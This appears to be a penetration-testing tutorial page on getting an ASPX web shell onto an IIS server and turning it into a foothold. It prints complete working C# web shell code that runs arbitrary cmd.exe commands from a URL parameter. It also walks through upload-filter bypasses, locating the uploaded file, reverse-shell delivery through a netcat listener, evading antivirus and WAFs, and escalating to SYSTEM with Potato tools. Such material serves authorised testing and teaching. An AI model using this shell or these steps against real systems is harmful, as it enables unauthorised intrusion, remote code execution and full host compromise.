IIS ASPX Web Shell Upload
ASPX web shells execute in the context of the IIS application pool identity: typically IIS APPPOOL\DefaultAppPool or a named service account. Getting an ASPX file into a web-accessible path and triggering its execution provides the initial foothold on the Windows host. This page covers shell delivery via WebDAV, file upload endpoints, and extension bypass techniques. WebDAV upload is covered in IIS WebDAV exploitation.
The app pool identity is a low-privileged account by default. It often holds SeImpersonatePrivilege, which enables Potato-family privilege escalation. Run whoami /priv once you have execution to confirm available privileges. Named service accounts configured on the app pool may have broader filesystem or domain access. Confirm the actual identity before making assumptions about scope.
Shell delivery methods for IIS:
WebDAV PUT upload (see IIS WebDAV exploitation)
Application file upload endpoint with extension bypass
PUT then MOVE rename from .txt to .aspx
ASPX execution requires the .aspx handler to be registered in IIS. If the handler mapping is missing, IIS serves the raw file instead of executing it. A 200 response that echoes your shell source confirms the file was served but not run.
Minimal ASPX Web Shell
The simplest C# ASPX shell that executes commands via the cmd parameter:
This shell reads from the cmd query parameter and pipes the value through cmd.exe. Only stdout is captured. Stderr is not redirected, so failed commands return blank output. The file must land in a web-accessible directory where IIS maps .aspx to the ASP.NET runtime. Windows Defender flags this exact shell by signature. If the request returns 200 with no output, check whether AV removed the file or the handler is not configured. Use curl -vsk and look for a non-empty response body to confirm execution.
<%@ Page Language="C#" %>
<%
if(Request["cmd"] != null) {
var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c " + Request["cmd"];
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
Response.Write(proc.StandardOutput.ReadToEnd());
}
%>
iis apppool\defaultapppool
File Upload Extension Bypass
When a file upload endpoint validates by extension, test these bypass techniques in order. A 200 or 201 response means the server accepted the file. Acceptance does not confirm execution. You still need to locate the upload path and trigger the file over HTTP. Also test changing the Content-Type header to image/jpeg while keeping the .aspx extension. Some endpoints validate MIME type server-side but not the filename extension. If the server renames uploaded files on save, your bypass extension may not persist. Check the actual filename from the response before attempting execution.
200 shell.aspx 200 shell.ashx 403 shell.asp
Locate the Upload Path
After a successful upload, find where the file was stored. The Location response header is the most direct indicator. Some applications return the path in the response body as an href or JSON field. Grep the full verbose output for path, href, src, and url strings. If nothing reveals the location, brute-force common upload directories with HEAD requests. A 200 on a HEAD request to a guessed path confirms the file is present. Watch for applications that randomize filenames on save. A randomized filename defeats execution even if the upload succeeded.
Location: /uploads/shell.aspx
200 /uploads/shell.aspx 404 /upload/shell.aspx
Get a Reverse Shell
Set up the listener and deliver a PowerShell reverse shell through the ASPX web shell. URL-encode the command. Start the listener before sending the curl request. The curl command will hang while the shell is active. If the connection drops immediately, Defender likely killed the PowerShell process. The base64 payload must be UTF-16LE encoded, which the iconv -t UTF-16LE command handles. Encoded commands bypass some basic script block logging but do not evade AMSI.
Explain command
| -l | Listen mode, waits for incoming connections. |
| -v | Verbose output, prints connection status messages. |
| -n | Skip DNS resolution, use numeric IPs only. |
| -p | Specifies the local port number to listen on. |
| $LPORT | Variable placeholder for the local port number to bind. |
Alternatively, use a direct PowerShell reverse shell without a hosted file. This avoids the outbound HTTP request from the target to your attacker machine. Use this when outbound HTTP from the target is restricted. The entire payload travels in the URL query string. IIS limits URLs to 4096 bytes by default. Very long payloads may get silently truncated. Use a POST request with the command in the request body if the GET approach fails.
When this technique fails, confirm write access to the upload directory first. The app pool identity must have write permission. If uploads return 200 but the file does not execute, the app may save outside the web root. WAFs commonly inspect file content on upload and block ASPX regardless of extension tricks. Try obfuscating the shell by splitting string literals or renaming variables. The .ashx and .asmx extensions also map to the ASP.NET runtime and may bypass extension filters. A shell running as IIS APPPOOL\DefaultAppPool with SeImpersonatePrivilege is a direct path to SYSTEM using PrintSpoofer or GodPotato.
References
-
PayloadsAllTheThings: Upload Insecure FilesREPO: PayloadsAllTheThings: Upload Insecure Files, github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files (opens in new tab)
ASPX shell payloads and extension bypass techniques
-
ASPX Reverse ShellREPO: ASPX Reverse Shell, github.com/borjmz/aspx-reverse-shell (opens in new tab)
Ready-made ASPX reverse shell payloads for IIS